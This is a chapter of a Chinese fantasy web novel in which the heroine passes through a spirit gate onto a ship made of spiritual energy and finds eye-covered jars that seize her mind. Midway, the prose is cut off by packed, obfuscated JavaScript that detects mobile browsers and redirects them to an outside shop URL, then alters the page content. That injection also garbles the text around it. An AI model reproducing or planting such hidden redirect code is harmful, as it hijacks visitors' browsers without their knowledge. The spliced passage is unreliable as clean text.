32. 灵域门
作品:《神女行镖,诸邪退散》 顺着赫洛的即时指引,温承歌一路从钦天监追到了行昭坊。
行昭坊位于京城东北处角落里,坊内种植着大片竹林,显得安宁而清幽。
【赫洛,我已经到达此地,但并未发现张监侯的踪迹。】
温承歌环顾四周,补充道:
【准确来说,这附近连一个人也没有。】
【但他确实在这里。所以无非只有两个可能性:要么他用某种手段摆脱了我的追踪;要么他确实在这里。】赫洛回答。
【综合你的描述,我觉得后者可能性更大些。】
温承歌心中也腾起一股一缕:行昭坊尽管位置偏僻,可坊内百姓并不算少,无论如何,也不该一个人都见不到。
除非……这竹林里本身就有蹊跷。
她手腕轻轻一抖,溯光迅速出现在手中。温承歌举剑在竹林中潜行,在走过某处角落时,溯光忽然不受控制地震动起来,发出阵阵嗡鸣。
温承歌心下一凛:溯光剑本就是她亲手铸造的灵力造物,出现这种情况,说明附近有一股能够对她造成威胁的灵力存在。
她不再犹豫,迅速动用天眼,地下灵脉在她的视线中逐渐清晰起来。
待温承歌看清了自己面前出现的景物后,倒吸一口凉气。
此地的灵脉似乎被某种强大的力量生生从地下拖拽出地表,黑红的荆棘向外散发着属于邪祟的不祥气息,它们将灵脉根系一圈圈死死缠住,在竹林间形成一团漩涡状的灵力。
【温总镖头?怎么不说话了?】
温承歌缓缓闭了闭双眼,再次确认自己面前这一番景象的真实性,随后沉声开口:
【我没见过这东西……开照影术,你来看看它是什么。】
她将自己所见这一诡异景象同步给赫洛。对方半晌未出声,似乎也被这一番景象所震撼,待他再开口时,语气中带着一丝少有的严肃:
【这是灵域门。】
灵域门?
这个词汇犹如一块巨石,在温承歌平静无波的内心中砸出层层波澜。
从前她与师父讨论灵力之事时,也询问过祝兴澜“灵域门”究竟是什么。而祝兴澜的回复时隔多年仍让她记忆犹新:
“通过改变灵脉的位置,让它形成较大的灵力回路,便能够造出灵域门。当两地灵脉的灵域门以同一种特殊方式制作而成,便能让被它们许可的人在两地移动。”
她回忆到此处,思绪被赫洛的声音拉回现实。
【据我所知,灵域门纵然不比天海境一般难以企及,却也只有少数顶尖的强者能够顺利搭建。】
温承歌顺着他的话,看向那层层捆住灵脉根系的邪祟,一股愤怒自心间油然而生:
灵域门搭建之所以难,主要在于要在不破坏灵脉的前提下将它的位置移至地表。即便天赋强大如她,对灵脉的掌握也还未达到这个地步。
但这些人竟走了歪门邪道,利用邪祟的力量强行将灵脉拖出地表搭建灵域门!若是放任不管,长此以往,灵脉必将走向衰竭。
这里可是京城!
温承歌攥了攥拳,压下心中的怒火,强迫自己冷静下来。
至少现在,先前的一切异象都有了答案:那张监侯在此地搭建了灵域门,并通过这扇门前往另一处地点。
她又深深地吸了一口气,迈步向空中流转着的灵域门走去。
【等等,你真要进那来路不明的门?退一步来讲,若非被建立者许可之人,是进不去的。】
温承歌脚步不停,只道:
【我能进去,也必须进去。】
她伸出手,指尖带着灵力点在那门上。灵脉无比顺利地接纳了这份同源的灵力,温承歌只觉得眼前一闪,下一刻,她来到一处昏暗的地方。
这里是……一个房间?
待到双眼适应了此地的黑暗,周围景象在温承歌眼中逐渐清晰起来。这里狭小逼仄,从门缝与不知哪里的缝隙中透出一线微弱的暖光。
她利落地打了个响指,指尖立即窜出一团灵火,顷刻间将整个房间照得如同白昼!
?!
温承歌猝不及防地被那强光袭击,闭目的同时忙不迭地将灵火火势减小。
待到那光线终于降到预想中的程度后,她盯着手中跃动的小小火苗,思绪飞速运转:
打从进入此地,一切都变得不同寻常起来。她分明如往常一般控制住了灵火的照明范围,保持在一个能够照亮周围却又不至于引起警惕的程度内。
过去数年内,她从未在如此简单的术法上出岔子,为何偏偏这一次,火势如此不合常理?
温承歌托着火苗四下望去,房间内陈设乏善可陈,且似乎早已年久失修。靠墙一角安置着一张薄薄的木桌,桌上只有几卷麻绳,一桶沥青,以及一盏燃尽的油灯。
她将视线投向房间另一侧,地板上胡乱堆放着几块木板与木钉,一条锈迹斑斑的铁链胡乱缠成一团。更令她惊讶的是,那铁链尾端的铁环上,拴着一个足有半人高的巨大船锚。
看来,灵域门的另一端,连接着某艘大型船只的杂物间。
如此大动干戈建立灵域门,却将另一座设在船只的杂物间内,这建造者究竟是如何考量的?温承歌心中腾起一团疑惑。
她一手托着灵火,一手覆上玉珏:
【赫洛,你觉得呢?】
意外的,对方语气中总带着些散漫的答复并未出现。温承歌又尝试了几次,房间内依旧一片寂静。
情况不妙。
温承歌迅速发动招式“天眼”,灵力自这杂物间内散发,眨眼间便覆盖了船上的各个角落。
果不其然,灵脉并未如往常一般浮现,而在温承歌的感知内,船上的一切皆与她那柄溯光剑同源同质。
这便意味着,她脚下的整艘船都是以灵力化形造出来的,实打实的灵力造物。
看清楚这个事实后,一切疑惑便有了答案。为何照影术与玉珏同时失效,为何她动用灵力做出的效果远超预期——
因为这根本就是一个人为的、独立于世的未知空间!
温承歌抬手揉了揉突突直跳的太阳穴,现在唯一于她有利的情况是,这空间内的灵力分外充沛,即便身形暴露不得不战,自己的胜算也多了几分。
她不费吹灰之力便将气息与身形彻底隐藏起来,几乎与整艘船融为一体。一切准备就绪,温承歌小心避开地上凹凸不平的木板,向杂物间外探去。
温承歌缓缓踏上木梯,来到船舱的走廊内。这艘船的形制与她所熟知的出入不大,但各个角落的布局风格都与现在的船只相差甚远,陈旧中散发着一股霉味。
更诡异的是,走廊两侧的墙壁上悬挂着一幅幅夸张的画作,那些色彩即便在昏暗的灯光下也依旧明艳细腻。
温承歌端详着其中一副,神色晦暗不明。
她自然认得这些东西是什么,它们频繁出现在每年向朝廷进贡的货品中,出现在坊间挂起的素纸上,甚至在书画中自成一派,使人争相效仿。
但它们唯独不该出现在这里。
温承歌暗暗记下这些线索
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711901|188415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,继续向前走去。途经某处房间时,她停住脚步,轻轻推门而入。
房间内整齐陈列着五六排木质框架,每一座木架都被牢牢固定在地板上,几乎成为了这个房间的一部分。
架中以木板隔出了一个个方形格子,结构精巧,其上似乎摆放着什么东西。
她合上门走近这排木架,在灵火暖橘的光下,架上陈列着的东西显露出身形:那赫然是一只只刻着诡异纹样的陶罐!
温承歌微微瞪大双眼,她的视线迅速扫过每一只陶罐,罐身上的纹样几乎一模一样。那纹样不属于灵体,亦不属于她所知的任何一种人类的文字。
她的目光紧紧锁住这些纹样,几乎要将它们篆刻进脑海中,却仍无法从中解读出任何信息。
一股阴冷黏腻的气息层层攀上温承歌的脊背,那感觉似曾相识,她似乎在什么地方接触过。
温承歌在灵识中搜寻着关于这些纹样的记忆。纹样、气息、陶罐……
……黎洲渡口的那艘沉船!
温承歌心念一动,扳指亮起,在其中存放已久的陶罐浮现在她手中。
所幸她先前带出的只是以灵力造出的复制品,恰与这满屋子的灵物遥相呼应。
这一比对,结果令她毛骨悚然。先前沉船中的那只陶罐,与这房间内的几十只如出一辙!
她脑海中又浮现起走廊上那些技法特殊的画作,以及风格陈旧的船内布局。
诸多巧合撞在一块,撞出了一个令人难以置信的猜想:
她此时身处的这艘“灵船”,与十年前被人设计沉没的那艘异邦船只,究竟有什么联系?又和张监侯的计划有什么相干?
越来越多的疑点亟待解决,但此地不宜久留,温承歌强迫自己暂时从思绪中抽身。
船舱内的静谧如今蒙上了一层诡异的氛围,而当她再次看向罐身上的纹样时,那些粗粝的线条忽然活动起来,开始缓慢地扭曲、旋转,挣扎着长出了一只眼睛。
温承歌手下猛然一收,险些将它生生捏碎。
后颈处爬上一阵寒意,她缓缓抬起头,视线移回木架上——
数十只陶罐依旧静静地伫立在木架上,罐身流动着无数只窥视的眼睛。房间四壁弥散出低频的嗡鸣声,穿过皮肤渗入骨髓,震得五脏六腑都随之颤抖。
“来……”
那些眼睛随着这声音自四面八方围拢过来,密密麻麻地裹住温承歌。在几乎震碎骨骼的律动下,她隐约听见了某种呼唤。
“过来……”
温承歌无意识地迈开步伐,向前走去。
“砰咚!!”
突然间,房门外响起一声重物坠地的沉闷声响。
那动静并不大,胜在真实可辨,加上多年锤炼出的生存本能,将温承歌的意识从泥潭中生生扯回来。
我刚刚是……被控制了意识?
温承歌看着近在咫尺的墙壁,连连后退几步,心脏在胸腔内狂跳,脑海中还残留着挥之不去的眩晕感。
她惊疑不定地四下张望着,内心不由自主地涌起一阵冲动,叫嚣着要将整艘船摧毁。
就在此时,一声细微的“哎呦”在附近响起,不论是语气还是音色,都让温承歌觉得熟悉。
她迅速平复好心绪,跨出房门,向声音传来的那间房走去,竟在房间内发现了一个意料之外的熟人。
李熙宁跌坐在地板上,揉着被磕痛的膝盖,左右张望着:
“这是哪儿?”
而在她身后,另一座灵域门正流转着淡淡的光晕。

